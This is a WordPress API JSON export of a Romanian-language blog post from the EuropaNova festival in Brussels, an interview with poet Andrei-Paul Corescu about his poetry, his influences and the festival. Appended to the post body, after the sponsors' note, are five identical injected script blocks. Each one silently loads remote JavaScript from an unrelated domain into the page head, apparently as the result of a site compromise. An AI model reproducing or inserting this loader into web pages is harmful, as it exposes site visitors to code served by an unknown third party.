{"id":6692,"date":"2023-09-04T08:21:42","date_gmt":"2023-09-04T07:21:42","guid":{"rendered":"https:\/\/www.europanova.be\/poetul-andrei-paul-corescu-despre-festivalul-europanova-propuneri-interesante-improvizatii-inspirate-oameni-dedicati-o-camaraderie-sincera-si-un-public-entuziast\/"},"modified":"2025-12-17T14:48:53","modified_gmt":"2025-12-17T13:48:53","slug":"poetul-andrei-paul-corescu-despre-festivalul-europanova-propuneri-interesante-improvizatii-inspirate-oameni-dedicati-o-camaraderie-sincera-si-un-public-entuziast","status":"publish","type":"post","link":"https:\/\/www.europanova.be\/ro\/poetul-andrei-paul-corescu-despre-festivalul-europanova-propuneri-interesante-improvizatii-inspirate-oameni-dedicati-o-camaraderie-sincera-si-un-public-entuziast\/","title":{"rendered":"Poetul Andrei-Paul Corescu despre Festivalul EuropaNova: \u201cPropuneri interesante, improviza\u021bii inspirate, oameni dedica\u021bi, o camaraderie sincer\u0103 \u015fi un public entuziast\u201d"},"content":{"rendered":"\n<p class=\"has-small-font-size\">\u00cen avanpremiera la o sear\u0103 de poezie \u0219i discu\u021bii despre literatura rom\u00e2n\u0103 contemporan\u0103, am luat pulsul (literar) poetului Andrei-Paul Corescu, un apropiat al Festivalului nostru. De altfel, Andrei va modera \u0219i dou\u0103 \u00eent\u00e2lniri cu scriitori la edi\u021bia a X-a a Festivalului EuropaNova \"P\u0103m\u00e2nturi mitice\". <\/p>\n\n\n\n<p><strong>18:00 Mar\u021bi, 26 septembrie \u2013 \u00centre t\u0103cere \u0219i cuv\u00e2nt<\/strong><\/p>\n\n\n\n<p class=\"has-small-font-size\">EuropaNova, Clos du Parnasse 11E, Bruxelles. Cocktail, Intrare liber\u0103<\/p>\n\n\n\n<p class=\"has-small-font-size\">Discu\u021bii senine despre literatura rom\u00e2n\u0103 contemporan\u0103<\/p>\n\n\n\n<p class=\"has-small-font-size\">Clubul de lectur\u0103 AICI \u0219i ACUM. Invita\u021bi: OCTAVIAN BLAGA \u0219i ANDREI-PAUL CORESCU. Moderator: MIRELA NI\u021a\u0102 SANDU<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p><em>EUROPANOVA: \u0218i totu\u0219i... de ce (mai) scrii poezie?<\/em><\/p>\n\n\n\n<p>ANDREI-PAUL CORESCU: Scriu poezie din perioada liceului, c\u00e2nd poezia mi s-a p\u0103rut cel mai potrivit mod de a m\u0103 exprima. De obicei, timp de ore sau zile m\u0103 b\u00e2ntuie un prim vers, iar de acolo continui f\u0103r\u0103 un plan prestabilit. \u00cemi place formatul compact al poeziei, \u015fi totodat\u0103 faptul c\u0103 m\u0103 pot \u201ejuca\u201d f\u0103r\u0103 limit\u0103ri cu ideile, sentimentele \u015fi cuvintele. Nu reneg proza, de care de altfel sunt influen\u021bat (multe din poemele mele sunt de fapt pove\u015fti \u00een versuri, ce con\u021bin deopotriv\u0103 consistente descrieri).<\/p>\n\n\n\n<p><em>EUROPANOVA: Ritm, rim\u0103...<\/em><\/p>\n\n\n\n<p>ANDREI-PAUL CORESCU: Consider c\u0103 aceast\u0103 formul\u0103 estetic\u0103 nu este epuizat\u0103 \u015fi o prefer ca for\u021b\u0103 poetic\u0103 poeziei \u00een vers alb. Nu este epuizat\u0103, fiindc\u0103 prin ritm \u015fi rim\u0103 mesajul este amplificat, dublat tocmai prin linia melodic\u0103 imprimat\u0103; ritmul \u015fi rima vin de departe (folclor, religie, literatur\u0103 de tip clasic etc.), iar utilizarea \u00een timpurile noastre a ritmului \u015fi a rimei nu \u00eenseamn\u0103 a folosi ceva demodat sau a \u201ereface\u201d Eminescu, Arghezi etc.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/Andrei-2.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"770\" height=\"408\" src=\"https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/Andrei-2.jpg\" alt=\"\" class=\"wp-image-6683\" srcset=\"https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/Andrei-2.jpg 770w, https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/Andrei-2-480x254.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 770px, 100vw\" \/><\/a><\/figure>\n\n\n\n<p><em>EUROPANOVA: Care sunt influen\u0163ele pe care \u021bi le revendici?<\/em><\/p>\n\n\n\n<p>ANDREI-PAUL CORESCU: Influen\u0163ele nu sunt numai literare; m\u0103 las inspirat de c\u0103l\u0103torii, muzic\u0103, lecturi din varii domenii. Dar dac\u0103 este s\u0103 atribui o influen\u0163\u0103, aceasta vine din studiul literaturii populare \u015fi de la poe\u021bi din \u201estirpea\u201d unor Arghezi, Doina\u0219, Philippide, Macedonski etc. sau din literatura francez\u0103, dar \u00een vers rimat.<\/p>\n\n\n\n<p><em>EUROPANOVA: Care este leg\u0103tura ta cu Rom\u00e2nia \u015fi cultura sa actual\u0103, av\u00e2nd \u00een vedere c\u0103 te-ai expatriat acum mul\u021bi ani?<\/em><\/p>\n\n\n\n<p>ANDREI-PAUL CORESCU: Revin cu pl\u0103cere \u00een \u0163ar\u0103, dar constat cu triste\u021be c\u0103, \u00een materie de cultur\u0103, dispar lucruri \u015fi locuri. Doar \u00een Craiova au disp\u0103rut \u00een ultimii 15 ani c\u00e2teva libr\u0103rii. Unele ini\u021biative culturale rezist\u0103 datorit\u0103 abnega\u021biei unor intelectuali care men\u021bin anumite proiecte \u015fi tradi\u021bii. &nbsp;<\/p>\n\n\n\n<p><em>EUROPANOVA: E\u0219ti un apropiat al Festivalului EuropaNova, ai sprijinit construc\u021bia lui. Ce te leag\u0103 de acesta?<\/em><\/p>\n\n\n\n<p>ANDREI-PAUL CORESCU: Multe \u0219i pl\u0103cute amintiri! Am ajutat la primele edi\u021bii \u0219i, ca orice perioad\u0103 de pionierat, a avut un farmec aparte: propuneri interesante, improviza\u021bii inspirate, oameni dedica\u021bi, o camaraderie sincer\u0103 \u015fi un public entuziast. M\u0103 bucur c\u0103 ini\u021biativa festivalului s-a transformat \u00eentr-o tradi\u021bie \u015fi \u00eemi pare bine c\u0103 sunt iar al\u0103turi de voi!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"has-small-font-size\">Acest proiect este realizat cu sprijinul Departamentului pentru Rom\u00e2nii de Pretutindeni, al Institutului Cultural Rom\u00e2n \u2013 Bruxelles, al Ambasadei Rom\u00e2niei \u00een Regatul Belgiei \u0219i al Ambasadei Moldovei \u00een Regatul Belgiei \u0219i Luxemburg.<\/p>\n<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script>","protected":false},"excerpt":{"rendered":"<p>\u00cen avanpremiera la o sear\u0103 de poezie \u0219i discu\u021bii despre literatura rom\u00e2n\u0103 contemporan\u0103, am luat pulsul (literar) poetului Andrei-Paul Corescu, un apropiat al Festivalului nostru. De altfel, Andrei va modera \u0219i dou\u0103 \u00eent\u00e2lniri cu scriitori la edi\u021bia a X-a a Festivalului EuropaNova &#8220;P\u0103m\u00e2nturi mitice&#8221;. 18:00 Mar\u021bi, 26 septembrie \u2013 \u00centre t\u0103cere \u0219i cuv\u00e2nt EuropaNova, Clos [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":6823,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[149],"tags":[],"class_list":["post-6692","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-auteurs"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/posts\/6692","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/comments?post=6692"}],"version-history":[{"count":8,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/posts\/6692\/revisions"}],"predecessor-version":[{"id":7162,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/posts\/6692\/revisions\/7162"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/media\/6823"}],"wp:attachment":[{"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/media?parent=6692"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/categories?post=6692"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/tags?post=6692"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}